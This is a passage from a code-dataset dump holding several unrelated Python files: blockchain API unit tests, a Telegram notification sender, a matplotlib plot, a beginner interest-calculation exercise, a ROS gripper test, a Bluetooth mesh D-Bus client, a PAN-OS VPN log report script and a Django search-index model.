res[\"list\"])\n\n def test_get_interface_page(self):\n asserts = [\"id\"]\n page = \"default_page\"\n res = self.check_get_api(\"/interface/page/\"+page, \"\", asserts)\n self.assertEqual(\"default_page\", res[\"name\"])\n\n def test_get_interface_page_incorrect(self):\n asserts = [\"error\"]\n page = \"not_exist_page_xxxxxxxxxxx\"\n res = self.check_get_api(\"/interface/page/\"+page, \"\", asserts)\n self.assertEqual(\"Page not found\", res[\"msg\"])\n\n def test_get_interface_menu(self):\n asserts = [\"id\"]\n menu = \"default_menu\"\n res = self.check_get_api(\"/interface/menu/\"+menu, \"\", asserts)\n self.assertEqual(\"default_menu\", res[\"name\"])\n\n def test_get_interface_menu_incorrect(self):\n asserts = [\"error\"]\n menu = \"not_exist_menu_xxxxxxxxxxx\"\n res = self.check_get_api(\"/interface/menu/\"+menu, \"\", asserts)\n self.assertEqual(\"Page not found\", res[\"msg\"])\n\n def test_get_interface_block(self):\n # Add new block\n block = \"Block_\" + utils.generate_random_name()\n data = {\"Name\": block, \"Value\": \"Hello page!\", \"ApplicationId\": 1,\n \"Conditions\": \"true\"}\n res = self.call(\"NewBlock\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # Test\n asserts = [\"id\"]\n res = self.check_get_api(\"/interface/block/\"+block, \"\", asserts)\n self.assertEqual(block, res[\"name\"])\n\n def test_get_interface_block_incorrect(self):\n asserts = [\"error\"]\n block = \"not_exist_block_xxxxxxxxxxx\"\n res = self.check_get_api(\"/interface/block/\"+block, \"\", asserts)\n self.assertEqual(\"Page not found\", res[\"msg\"])\n\n def test_get_table_vde(self):\n asserts = [\"name\"]\n data = {\"vde\": \"true\"}\n self.check_get_api(\"/table/contracts\", data, asserts)\n\n def test_create_vde(self):\n asserts = [\"result\"]\n data = {}\n #self.check_post_api(\"/vde/create\", data, asserts)\n\n def is_node_owner_true(self):\n data = {}\n resp = utils.call_contract(url, prKey, \"NodeOwnerCondition\", data, token)\n status = utils.txstatus(url, pause, resp[\"hash\"], token)\n self.assertGreater(int(status[\"blockid\"]), 0,\n \"BlockId is not generated: \" + str(status))\n \n def is_node_owner_false(self):\n keys = config.getKeys()\n prKey2 = keys[\"key1\"]\n data2 = utils.login(url, prKey2, 0)\n token2 = data2[\"jwtToken\"]\n data = {}\n resp = utils.call_contract(url, prKey2, \"NodeOwnerCondition\", data, token2)\n status = utils.txstatus(url, pause, resp[\"hash\"], token2)\n self.assertEqual(status[\"errmsg\"][\"error\"],\n \"Sorry, you do not have access to this action.\",\n \"Incorrect message: \" + str(status))\n \n def test_login(self):\n keys = config.getKeys() \n data1 = utils.login(url, keys[\"key5\"], 0)\n time.sleep(5)\n conf = config.getNodeConfig()\n res = utils.is_wallet_created(conf[\"1\"][\"dbHost\"], conf[\"1\"][\"dbName\"],\n conf[\"1\"][\"login\"], conf[\"1\"][\"pass\"],\n data1[\"key_id\"])\n self.assertTrue(res, \"Wallet for new user didn't created\")\n \n def test_login2(self):\n isOne = False\n keys = config.getKeys() \n data1 = utils.login(url, keys[\"key3\"], 0)\n time.sleep(5)\n conf = config.getNodeConfig()\n res = utils.is_wallet_created(conf[\"1\"][\"dbHost\"], conf[\"1\"][\"dbName\"],\n conf[\"1\"][\"login\"], conf[\"1\"][\"pass\"],\n data1[\"key_id\"])\n if res == True:\n data2 = utils.login(url, keys[\"key1\"], 0)\n time.sleep(5)\n isOne = utils.is_wallet_created(conf[\"1\"][\"dbHost\"], conf[\"1\"][\"dbName\"],\n conf[\"1\"][\"login\"], conf[\"1\"][\"pass\"],\n data2[\"key_id\"])\n self.assertTrue(isOne, \"Wallet for new user didn't created\")\n\n def test_get_avatar_with_login(self):\n # add file in binaries\n name = \"file_\" + utils.generate_random_name()\n path = os.path.join(os.getcwd(), \"fixtures\", \"image2.jpg\")\n with open(path, 'rb') as f:\n file = f.read()\n data = {\"Name\": name, \"ApplicationId\": 1, 'Data': file}\n resp = utils.call_contract(url, prKey, \"UploadBinary\", data, token)\n res = self.assertTxInBlock(resp, token)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # find last added file\n asserts = [\"count\"]\n res = self.check_get_api(\"/list/binaries\", \"\", asserts)\n lastRec = res[\"count\"]\n # find founder ID\n asserts = [\"list\"]\n res = self.check_get_api(\"/list/members\", \"\", asserts)\n # iterating response elements\n i = 0\n founderID = \"\"\n while i < len(res['list']):\n if res['list'][i]['member_name'] == \"founder\":\n founderID = res['list'][i]['id']\n i += 1\n # change column permissions\n data = {'member_name': 'founder',\n 'image_id': lastRec}\n res = self.call(\"ProfileEdit\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # test\n ecosystemID = \"1\"\n asserts = \"\"\n data = \"\"\n avaURL = url + \"/avatar/\" + ecosystemID + \"/\" + founderID\n res = funcs.call_get_api_with_full_response(avaURL, data, asserts)\n msg = \"Content-Length is different!\"\n self.assertIn(\"71926\", str(res.headers[\"Content-Length\"]),msg)\n\n def test_get_avatar_without_login(self):\n # add file in binaries\n name = \"file_\" + utils.generate_random_name()\n path = os.path.join(os.getcwd(), \"fixtures\", \"image2.jpg\")\n with open(path, 'rb') as f:\n file = f.read()\n data = {\"Name\": name, \"ApplicationId\": 1, \"DataMimeType\":\"image/jpeg\", 'Data': file}\n resp = utils.call_contract(url, prKey, \"UploadBinary\", data, token)\n res = self.assertTxInBlock(resp, token)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # find last added file\n asserts = [\"count\"]\n res = self.check_get_api(\"/list/binaries\", \"\", asserts)\n lastRec = res[\"count\"]\n # find founder ID\n asserts = [\"list\"]\n res = self.check_get_api(\"/list/members\", \"\", asserts)\n # iterating response elements\n i = 0\n founderID = \"\"\n while i < len(res['list']):\n if res['list'][i]['member_name'] == \"founder\":\n founderID = res['list'][i]['id']\n i += 1\n # change column permissions\n data = {'member_name': 'founder',\n 'image_id': lastRec}\n res = self.call(\"ProfileEdit\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n # test\n ecosystemID = \"1\"\n avaURL = url + \"/avatar/\" + ecosystemID + \"/\" + founderID\n resp = requests.get(avaURL)\n msg = \"Content-Length is different!\"\n self.assertIn(\"71926\", str(resp.headers[\"Content-Length\"]), msg)\n\n def test_get_centrifugo_address_without_login(self):\n resp = requests.get(url + '/config/centrifugo')\n res = resp.json()\n self.assertIn(\"ws://\", res, \"Centrifugo is not connection to node!\")\n\n def test_get_centrifugo_address_with_login(self):\n asserts = [\"ws://\"]\n data = \"\"\n res = self.check_get_api(\"/config/centrifugo\", data, asserts)\n\n def test_content_hash(self):\n # 1. test with login\n # 2. test without login\n # 3. negative test without login\n def isHashNotEmpty(hash):\n hash = str(hash)\n if hash.find(\"{'hash':\") != -1:\n return True\n else:\n return False\n name = \"Page_\" + utils.generate_random_name()\n data = {\"Name\": name, \"Value\": \"Div(,Hello page!)\", \"ApplicationId\": 1,\n \"Conditions\": \"true\", \"Menu\": \"default_menu\"}\n res = self.call(\"NewPage\", data)\n self.assertGreater(int(res), 0, \"BlockId is not generated: \" + res)\n asserts = [\"hash\"]\n authRes = self.check_post_api(\"/content/hash/\" + name, \"\", asserts)\n notAuthRes = requests.post(url + \"/content/hash/\" + name)\n notAuthRes = notAuthRes.json()\n page = \"not_exist_page_xxxxxxxxx\"\n notAuthResNotExist = requests.post(url + \"/content/hash/\" + page)\n notAuthResNotExist = notAuthResNotExist.json()\n mustBe = dict(authRes=True,\n notAuthRes=True,\n msg=\"Page not found\")\n actual = dict(authRes=isHashNotEmpty(authRes),\n notAuthRes=isHashNotEmpty(notAuthRes),\n msg=notAuthResNotExist[\"msg\"])\n self.assertDictEqual(mustBe, actual, \"Not all assertions passed in test_content_hash\")\n\n def test_get_ecosystem_name(self):\n id = 1\n asserts = [\"ecosystem_name\"]\n self.check_get_api(\"/ecosystemname?id=\" + str(id), \"\", asserts)\n\n def test_get_ecosystem_name_new(self):\n data = {\"Name\": \"ecos_\" + utils.generate_random_name()}\n res = self.call(\"NewEcosystem\",data)\n id = self.check_get_api(\"/list/ecosystems\", \"\", [])[\"count\"]\n asserts = [\"ecosystem_name\"]\n self.check_get_api(\"/ecosystemname?id=\" + str(id), \"\", asserts)\n\n def test_get_ecosystem_name_incorrect(self):\n id = 99999\n asserts = [\"error\"]\n self.check_get_api(\"/ecosystemname?id=\" + str(id), \"\", asserts)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests_API.py","file_name":"tests_API.py","file_ext":"py","file_size_in_byte":29464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"281360693","text":"import json\nimport logging\nimport traceback\nfrom os import environ\nfrom telegram import InputMediaPhoto\nfrom telegram.ext import Updater\n\nfrom crawler_utils.utils import chunks, nofail\nfrom image_manager import ImageManager\n\n\nclass Notification(object):\n\n def __init__(self, price=None, location=None, area=None, url=None, pics_urls=None, id=None, source=None, ) -> None:\n super().__init__()\n self.id = id\n self.source = source\n self.price = price\n self.location = location\n self.area = area\n self.url = url\n self.pics_urls = pics_urls\n\n def __hash__(self) -> int:\n return hash(self.id)\n\n def __eq__(self, o: object) -> bool:\n return isinstance(o, Notification) and o.id == self.id\n\n\nclass NotificationSender:\n\n def __init__(self) -> None:\n super().__init__()\n self.image_manager = ImageManager()\n self.updater = Updater(token=environ.get('AF_TELEGRAM_BOT_TOKEN'),\n request_kwargs={\"connect_timeout\": 60., \"read_timeout\": 60.})\n\n def send_to_chat(self, notif: Notification):\n desc = f'ID: {notif.id}\\nPrice: {notif.price}\\nArea: {notif.area}\\nWhere: {notif.location}\\nURL: {notif.url} '\n try:\n # chat_id = '-1001121437337'\n # chat_id = '73115329'\n chat_id = environ.get('AF_TELEGRAM_CHAT_ID')\n reference_message = None\n if not notif.pics_urls:\n return\n try:\n for c in chunks(notif.pics_urls, 10):\n new_images, seen_in_messages = self.image_manager.check_all(notif, c)\n seen_in = None if not len(seen_in_messages) else seen_in_messages.pop()\n reference_message = None if not seen_in else seen_in['message_id']\n if reference_message:\n logging.info(f\"Found photo duplicates: \\n {notif.url} vs. {seen_in['notif'].url}\")\n if len(new_images):\n logging.info(f\"Sending {len(new_images)} images\")\n send_pic_res = self._send_pics(new_images.keys(), chat_id, desc,\n reply_to_message_id=reference_message)\n if hasattr(send_pic_res[0], 'message_id'):\n self.image_manager.set_message_ids([v['hash'] for v in new_images.values()],\n send_pic_res[0].message_id)\n except Exception as e:\n logging.error(e)\n\n self._send_message(chat_id, desc, reference_message=reference_message)\n except Exception as e:\n logging.error(e, traceback.format_exc())\n\n @nofail(retries=20)\n def _send_message(self, chat_id, desc, reference_message=None):\n logging.info(f\"Sending message: {chat_id} {desc} {reference_message} \")\n\n self.updater.bot.send_message(chat_id, desc, timeout=20 * 60, disable_web_page_preview=True,\n reply_to_message_id=reference_message,\n disable_notification=reference_message is not None)\n\n @nofail(retries=20)\n def _send_pics(self, c, chat_id, desc, **kwargs):\n return self.updater.bot.send_media_group(chat_id, [InputMediaPhoto(i, caption=desc) for i in c],\n timeout=20 * 60, disable_notification=True, **kwargs)\n\n\nif __name__ == '__main__':\n NotificationSender().send_to_chat(\n Notification(id=\"SL\", price=1200, location=\"75003\", area=30,\n url=\"http://ya.ru\",\n pics_urls=[\"https://www.python-course.eu/images/venitian_masks.png\",\n \"https://cache.lovethispic.com/uploaded_images/thumbs/220227-Keep-Calm-And-Pass-Your-Exams.jpg\",\n \"https://poster.keepcalmandposters.com/default/5997547_no_dp_because_exam_chaling.png\"])\n )\n","sub_path":"notification_sender.py","file_name":"notification_sender.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"404334327","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\n# import matplotlib.pyplot as plt\nfrom matplotlib.pyplot import *\nimport numpy as np\n\n\ndef draw_curves():\n x = np.linspace(-np.pi, np.pi, 256, endpoint=True)\n y = np.cos(x)\n y1 = np.sin(x)\n\n plt.plot(x, y1)\n plt.plot(x, y)\n\n plt.show()\n\n\ndef draw_curvers_detail():\n # generate uniformly distributed\n # 256 points from -pi to pi, inclusive\n x = np.linspace(-np.pi, np.pi, 256, endpoint = True)\n\n # these are vectorised versions of math.cos and math.sin\n # in built-in Python maths\n # compute cos for every x\n y = np.cos(x)\n\n # compute sin for every x\n y1 = np.sin(x)\n\n # plot cos & sin\n plot(x, y)\n plot(x, y1)\n\n # define plot title\n title(\"Functions $\\sin$ and $\\cos$\")\n\n # set x limit\n xlim(-3.0, 3.0)\n ylim(-1.0, 1.0)\n\n xticks([-np.pi, -np.pi/2, 0, np.pi/2, np.pi], \n [r'$-\\pi$', r'$-\\pi/2$',r'$0$', r'$+\\pi/2$', r'$+\\pi$'])\n\n yticks([-0.5, 0, 1], \n [r'$-1$', r'$0$', r'$+1$'])\n\n show()\n\n\n\nif __name__ == \"__main__\":\n draw_curvers_detail()\n\n\n# vim:cin:et:ts=4:sts=4:sw=4:tw=98:ft=python:ff=unix:fenc=utf-8:\n# EOF\n\n","sub_path":"python/pdvc/03-Drawing/draw_curves.py","file_name":"draw_curves.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"129831935","text":"# Altere o programa anterior de forma a perguntar também o valor depositado mensalmente.\n# Esse valor será depositado no inicio de cada mês, e você deve cosiderá-lo para o cálculo de juros\n# mês seguinte.\n\nselic = 1.9\ndep_inicial = float(input(\"Digite o deposito inicial em R$: \"))\ndeposito_mensal = 0\ncont = 1\njuro = 0\nacumulador = dep_inicial\nwhile cont <= 24:\n juro = acumulador * (selic / 100)\n\n if cont >= 2: #a partir do segundo mês\n deposito_mensal = float(input(\"Digite o valor a ser depositado esse mês: \"))\n juro = juro + deposito_mensal\n acumulador = acumulador + juro\n print(acumulador)\n cont = cont + 1","sub_path":"exercicios cap 5/exercicio 5.12.py","file_name":"exercicio 5.12.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"323605211","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport sys\nimport time\n\nfrom test_gripper import GripperTester\nfrom ariac_example import ariac_example\nimport rospy\nimport rostest\n\n\nclass UnthrottledGripperTester(GripperTester):\n\n def test(self):\n self.comp_class = ariac_example.MyCompetitionClass()\n ariac_example.connect_callbacks(self.comp_class)\n time.sleep(1.0)\n\n # Pre-defined initial pose because sometimes the arm starts \"droopy\"\n self._send_arm_to_initial_pose()\n\n # Pre-defined pose that puts the gripper in contact with a part.\n self._send_arm_to_part()\n\n # Pick up and drop the part multiple times.\n # Regression test for https://bitbucket.org/osrf/ariac/issues/61\n for i in range(100):\n print('Enabling & disabling gripper for the {0}th time...'.format(i))\n self._enable_gripper()\n self._disable_gripper()\n\n # Enable the gripper so that it picks up the part.\n self._test_enable_gripper()\n\n # Move the part over the tray using a pre-defined sequence of poses.\n self._send_arm_to_tray()\n self.assertTrue(\n self.comp_class.current_gripper_state.enabled, 'Gripper no longer enabled')\n self.assertTrue(\n self.comp_class.current_gripper_state.attached, 'Part no longer attached')\n\n # Disable the gripper so that it drops the part.\n self._test_disable_gripper()\n\n time.sleep(1.0)\n\n\nif __name__ == '__main__':\n rospy.init_node('test_gripper_unthrottled', anonymous=True)\n\n # Wait until /clock is being published; this can take an unpredictable\n # amount of time when we're downloading models.\n while rospy.Time.now().to_sec() == 0.0:\n print('Waiting for Gazebo to start...')\n time.sleep(1.0)\n # Take an extra nap, to allow plugins to be loaded\n time.sleep(12.0)\n print('OK, starting test.')\n\n rostest.run('test_ariac', 'test_gripper_unthrottled', UnthrottledGripperTester, sys.argv)\n","sub_path":"ariac/test_ariac/test_gripper_unthrottled.py","file_name":"test_gripper_unthrottled.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"640221309","text":"import asyncio\nimport logging\nimport os\nimport uuid\n\nimport dbussy as dbus\nimport ravel\n\nfrom meshd_example.interfaces import (ApplicationInterface,\n ElementInterface,\n ProvisionAgentInterface)\n\n\nclass Application:\n PATH = '/com/silvair/%s'\n\n def __init__(self, bus, uuid, token=None):\n self.uuid = uuid\n self.token = int(token, 16) if token is not None else None\n self.path = self.PATH % self.uuid.hex\n self.bus = bus\n self.node = None\n\n self.application_interface = ApplicationInterface(self)\n self.provision_agent_interface = ProvisionAgentInterface(self)\n\n self.bus.register(self.path, fallback=False, interface=self.application_interface)\n self.bus.register(self.path, fallback=False, interface=self.provision_agent_interface)\n self.bus.object_added(self.path)\n\n self.elements = {}\n for index in range(2):\n path = os.path.join(self.path, str(index))\n self.elements[index] = (path, ElementInterface(self, index))\n\n self.bus.register(path, fallback=False, interface=ElementInterface(self, index))\n self.bus.object_added(path)\n\n self.mesh_service = self.bus['org.bluez.mesh']\n\n self.logger = logging.getLogger('Application')\n\n async def join(self):\n network = await self.mesh_service['/org/bluez/mesh'] \\\n .get_async_interface('org.bluez.mesh.Network1')\n\n try:\n path, configuration = await network.Attach(self.path, self.token)\n except dbus.DBusError as ex:\n self.logger.error('Attach failed: %s', ex)\n self.token = None\n\n if self.token is None:\n self.logger.info('Joining')\n await network.Join(self.path, list(self.uuid.bytes))\n self.token = await self.application_interface.join_completed\n\n path, configuration = await network.Attach(self.path, self.token)\n\n self.node = await self.mesh_service[path] \\\n .get_async_interface('org.bluez.mesh.Node1')\n self.logger.info('Attached to node %s, configuration: %s', path, configuration)\n\n async def composition_data_get(self):\n # Send from local element #0\n element_path = self.elements[0][0]\n\n # Send to local node\n destination = 0x0042\n\n # Use local device key\n key_index = 0x7fff\n\n # Config Composition Data Get, page = 0xff\n data = [0x80, 0x08, 0xff]\n\n await self.node.Send(element_path, destination, key_index, data)\n\n\nasync def client(bus):\n application = Application(bus,\n uuid.UUID('9c791e88-7acb-42e5-95ab-ab75cb74d774'),\n token='9dbbbf60c5376e3')\n\n await application.join()\n\n await application.composition_data_get()\n\n while True:\n await asyncio.sleep(1)\n\n\ndef main():\n logging.basicConfig(level=logging.DEBUG)\n\n loop = asyncio.get_event_loop()\n\n bus = ravel.system_bus(managed_objects=True)\n bus.attach_asyncio(loop)\n\n loop.run_until_complete(client(bus))\n","sub_path":"meshd_example/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398538674","text":"#!/usr/bin/python\n#\n# Download Thread pcap from a paloalto FW\n#\n# Sorry for the code , my second pyhon program (first one after hello world ;-)\n#\n#\nimport urllib\nimport requests\nimport re\nimport time\nimport sys\nimport argparse\n#import ConfigParser\nimport configparser\nimport os\nfrom xml.dom.minidom import parseString\nimport xml.dom.minidom\nimport csv\nimport pan.xapi\nimport xmltodict\nimport pprint\nimport json\nimport datetime\n\nconfig=\"panos.cfg\"\n\n\ndebug =True\n\nnodebug=False\n\n# Funciones\n\ndef dodebug(line):\n \"\"\" simple debug funtion \"\"\"\n if debug == True:\n print(\"DEBUG \" + line)\n\n\ndef dolog(lines):\n \"\"\" Write lines to the log file \"\"\"\n output= open (LOGFILE ,'a')\n output.writelines(lines)\n output.close\n\n\ndef get_interval(string):\n \"\"\" Process the time interval \"\"\"\n \n dodebug(\"get_interval string : \"+ string)\n ret=''\n match=re.match(r'(\\d\\d\\d\\d\\/\\d\\d\\/\\d\\d\\s+\\d\\d:\\d\\d:\\d\\d)\\s+\\-\\s+(\\d\\d\\d\\d\\/\\d\\d\\/\\d\\d\\s+\\d\\d:\\d\\d:\\d\\d)',string)\n if (match !=None):\n ret =\"and (time_generated geq '\" + match[1] +\"') and (time_generated leq '\" +match[2] + \"')\"\n elif (string == 'yesterday'):\n ret=\"and (time_generated in last-calendar-day)\"\n elif (string =='week'):\n ret=\"and (time_generated in last-7-calendar-days)\"\n else:\n string=\"\"\n \n\n dodebug(\"string: \" + ret)\n return ret\n\n\n## start code\n#\n# Check the arguments\nparser = argparse.ArgumentParser(description='Generate VPN reports from a PaloAlto Firewall.')\nparser.add_argument('--config','-C',help='Config file,(defaults to ' + config + ')')\nparser.add_argument('--debug','-D',help='set the debug flag',action='store_true')\nparser.add_argument('--nodebug','-ND',help='unset the debug flag',dest='nodebug',action='store_true')\nparser.add_argument('--interval','--timerange',help='Intervalo de tiempo \"YYYY/MM/DD HH:MM:SS - YYYY/MM/DD HH:MM:SS\" ' +\n ' o yesterday o N days (ultimos N dias)', dest=\"interval\")\nparser.add_argument('--log', help='Generate a sorted log listing', action='store_true')\nparser.add_argument('--nolog',help=\"Don't generate a sorted log listing\", dest='log', action='store_false')\nparser.add_argument('--report',help='Genereate a report of the logs', action='store_true')\n\nargs = parser.parse_args()\nif (args.config):\n config = args.config\n\n# Load of the configuration file\nif os.path.exists(config):\n Config = configparser.ConfigParser()\n Config.read(config)\nelse:\n print(\"Error can't read config file \" + config)\n print(\"Try using --config configfile to especify the config file\")\n sys.exit(\"Error\")\n\n# set debug ...\ndebug= Config.getboolean(\"main\",\"debug\")\nif (args.nodebug):\n debug=False\n\n\nif ('logs' in args):\n dolog= args.log\n\nif ('report' in args):\n doreport= args.report\nelse:\n doreport = False\n\ndodebug (\"Config file \" + config + \" read\" )\n\n\nif (('interval'in args) and (args.interval != None)):\n cadtempo=get_interval(args.interval)\nelif Config.has_option(\"vpnreport\",'interval'): \n cadtempo=get_interval(Config.get('vpnreport','interval'))\nelse:\n cadtempo =''\n\n \nkey= Config.get(\"vpnreport\",\"key\")\nif (key ==''):\n key=Config.get(\"main\",\"key\")\n\nhost= Config.get(\"vpnreport\",\"device\")\nmode = Config.get(\"vpnreport\",\"mode\")\nfiltercmd= Config.get(\"vpnreport\",\"filter\")\nrecord_time= Config.get(\"vpnreport\",\"record_time\")\n\nrecords = [x.strip(' ') for x in Config.get('vpnreport','records').split(',')]\n\nif ((mode !=\"panorama\" ) and (mode !=\"firewall\")):\n print (\"Modo no permitido, debe ser panorama o firewall\")\n sys.exit(\"Error\")\n\nif (mode == 'firewall'):\n dodebug('Modo de configuracion: +' + mode)\n hosts= [x.strip(' ') for x in Config.get(\"vpnreport\",\"device\").split(',')]\nelif (mode ==\"panorama\"):\n dodebug (\"Modo de configuracion \"+mode )\n dodebug(\"OK , doki\\n\" + \"key=\" + key + \"fw=\"+host +\"\\nmode=\" + mode)\n\n try:\n xapi = pan.xapi.PanXapi(\n tag='pa-200' ,\n api_key= key ,\n hostname= host \n )\n except pan.xapi.PanXapiError as msg:\n print('pan.xapi.PanXapi:', msg)\n sys.exit(1)\n # estamos en modo \"Panorama, asi que primero tenemos que buscar que FW hay\n cmd=\"<show><devices><connected></connected></devices></show>\" \n xpath=\"/\" \n\n try:\n connected=xapi.op(cmd=cmd,vsys=None,cmd_xml=False)\n except pan.xapi.PanXapiError as msg:\n print('edit:', msg)\n sys.exit(1)\n\n dodebug(\"OK se ejecuta el comando:\" + cmd)\n #dodebug(\"result:\\n\"+xapi.xml_result())\n pp = pprint.PrettyPrinter(indent=4)\n dict= xmltodict.parse(xapi.xml_result())\n #pp.pprint(dict)\n dodebug(\"**** priting ddict['devices']['entry']\")\n node=dict['devices']['entry']\n #pp.pprint(node)\n hosts=[]\n for device in (node):\n serial= device['serial'] \n hostname= device['hostname']\n ip4= device['ip-address']\n model= device['model']\n dodebug(hostname + \" \" + model + \" \" + \" \" + ip4 + \" \" + serial )\n hosts.append(serial)\n\n\n##OK ahora lo importante , tenemos:\n# mode el modo = panorama o firewall\n# Si mode=firewall , iteramos sobre los objetos en hosts y hacemos la búsqueda en el elemento\n# Si mode= panorama , iteramos sobre los objetos en hosts, y hacemos la busqueda en panorama con el tarjet\n\n# Por ahora solo DEBUG, es decir, sacamos los los equipos que hay y exit\n\ndodebug(\"Modo:\" + mode)\nloglines={} # contendra todas los logs ordenados por timestamp \nfor device in hosts:\n dodebug (\"serial/host: \"+ device)\n\n# OK ahora la busqueda \n\nfor device in hosts:\n if (mode == 'panorama'):\n dodebug(\"Launching panorama search for \"+ device + \" on panorama=\" +host)\n try:\n xapi= pan.xapi.PanXapi(\n tags= 'fw01-1',\n api_key=key ,\n hostname=host,\n serial = '013201016524'\n )\n except pan.xapi.PanXapiError as msg:\n print('pan.xapi.PanXapi:', msg)\n sys.exit(1)\n #dodebug (\"FW=013201016524\\nsearch= \"+ filtercmd )\n\n elif (mode =='firewall'):\n dodebug(\"Launching search on firewall \" +device)\n try:\n xapi=pan.xapi.PanXapi(\n tags=device ,\n api_key=key, \n hostname=device\n )\n except pan.xpai.PanXapiError as msg:\n print('pan.xapi.PanXapi:',msg)\n sys.exit(1)\n #dodebug(\"Firewall=\"+device +\"\\nsearch=\" +filtercmd)\n\n try: \n connected = xapi.log(\n nlogs = 5000 ,\n log_type='system' , \n filter= filtercmd + cadtempo\n ) \n except pan.xapi.PanXapiError as msg:\n print('edit:', msg)\n sys.exit(1)\n \n result_dirty=[]\n dodebug(\"OK se ejecuta la busqueda: :\" + filtercmd + cadtempo)\n result_dirty= xapi.xml_result() ;\n result='<xml>' + result_dirty +'</xml>'\n # Generate logs entries\n pp = pprint.PrettyPrinter(indent=4) \n dict= xmltodict.parse(result)\n logs=dict['xml']['log']['logs']\n dodebug(\"Print Read \" + logs['@count'] + \" progress \" + logs['@progress'] + \"%\") \n lines=logs['entry']\n #pp.pprint(lines)\n # \n #OK now the log extraction\n for r in lines:\n reg={}\n #pp.pprint(r)\n timestr= r[record_time]\n #dodebug(\"timestr= \" + timestr)\n unixtime= time.mktime(datetime.datetime.strptime(timestr,\"%Y/%m/%d %H:%M:%S\").timetuple())\n #dodebug(\"timstr=\" +timestr + \" unixtime= \" + str(unixtime))\n lenr= len(records)\n for k in range(lenr -1):\n # dodebug(\"k es :\" + str(k) + \" records[\"+str(k)+\"] = \" + records[k] +\" \" + r[records[k]])\n # print(r[records[k]] + \";\", end=\"\")\n reg[records[k]] = r[records[k]]\n # print(r[records[lenr-1]] )\n reg[records[lenr-1]] = r[records[lenr-1]]\n loglines[unixtime] = reg\n r=[]\n\nif (doreport):\n # Generate report require some fields defined \n \n for r in sorted (loglines.keys()):\n if (loglines[r]['eventid'] =='auth-fail'):\n reg= re.match(r'.*user \\'(.*)\\'.*Reason: (.*) auth profile \\'(.*)\\'.*From: (.*)', loglines[r]['eventid'])\n\n \nif (dolog):\n## OK , imprimimos los logs ordenados\n for i in sorted (loglines.keys()) : \n #print(i)\n #pp.pprint(loglines[i])\n lenr= len(records)\n for k in range(lenr -1):\n print(loglines[i][records[k]] + \";\", end=\"\")\n print(loglines[i][records[lenr-1]] )\n\nsys.exit(0)\n\n#\n","sub_path":"vpn-report/pan-vpn-logs.py","file_name":"pan-vpn-logs.py","file_ext":"py","file_size_in_byte":8616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"633056376","text":"from django.db import models\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom hikster.hike.models import Trail\nfrom hikster.location.models import Location\nfrom . import types\n\n\nINDEXABLE = (Trail, Location)\n\n\nclass IndexManager(models.Manager):\n def add(self, obj):\n \"\"\"\n Adds an object to the index. If the index already exists for this\n object, it is updated. If it does not exist, it is created.\n\n :param obj: the object to add to the index\n\n :return: the index instance\n\n \"\"\"\n if not isinstance(obj, INDEXABLE):\n raise Exception('Invalid index object')\n\n if not obj.name:\n return\n\n ct = ContentType.objects.get_for_model(obj)\n try:\n idx = self.get(obj_ct=ct, obj_id=getattr(obj, obj.id_field))\n\n except ObjectDoesNotExist:\n idx = self.model(obj=obj)\n\n idx.name = obj.name\n idx.type = obj.index_type\n if hasattr(obj, 'location') and obj.location and obj.location.address:\n idx.address = str(obj.location.address)\n elif hasattr(obj, 'address') and obj.address:\n idx.address = str(obj.address)\n idx.save()\n\n return idx\n\n def remove(self, obj):\n \"\"\"\n Removes an object from the index.\n\n :param obj: the object to remove from the index.\n\n \"\"\"\n if not isinstance(obj, INDEXABLE):\n raise Exception('Invalid index object')\n\n ct = ContentType.objects.get_for_model(obj)\n try:\n idx = self.get(obj_ct=ct, obj_id=getattr(obj, obj.id_field))\n\n except ObjectDoesNotExist:\n return\n\n idx.delete()\n\n\nclass Index(models.Model):\n objects = IndexManager()\n\n TYPE_CHOICES = (\n (types.TYPE_TRAIL, 'Trail'),\n (types.TYPE_MUNICIPALITY, 'Municipality'),\n (types.TYPE_MOUNTAIN, 'Mountain'),\n (types.TYPE_REGION, 'Region'),\n (types.TYPE_NETWORK, 'Network'),\n (types.TYPE_LOCATION, 'Location')\n )\n\n name = models.CharField(max_length=250, null=False)\n obj_ct = models.ForeignKey(ContentType, on_delete=models.CASCADE)\n obj_id = models.PositiveIntegerField()\n obj = GenericForeignKey(ct_field='obj_ct', fk_field='obj_id')\n type = models.CharField(max_length=16, choices=TYPE_CHOICES)\n address = models.CharField(max_length=256, null=True, blank=True)\n date_created = models.DateTimeField(auto_now_add=True)\n date_modified = models.DateTimeField(auto_now=True)\n\n class Meta:\n unique_together = ('obj_ct', 'obj_id')\n","sub_path":"search/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"108156764","text":"# -*- encoding: utf-8 -*-\nfrom __future__ import print_function\nimport copy\nimport os\nimport shutil\nimport sys\n\nimport numpy as np\n\nfrom autosklearn.constants import *\nfrom 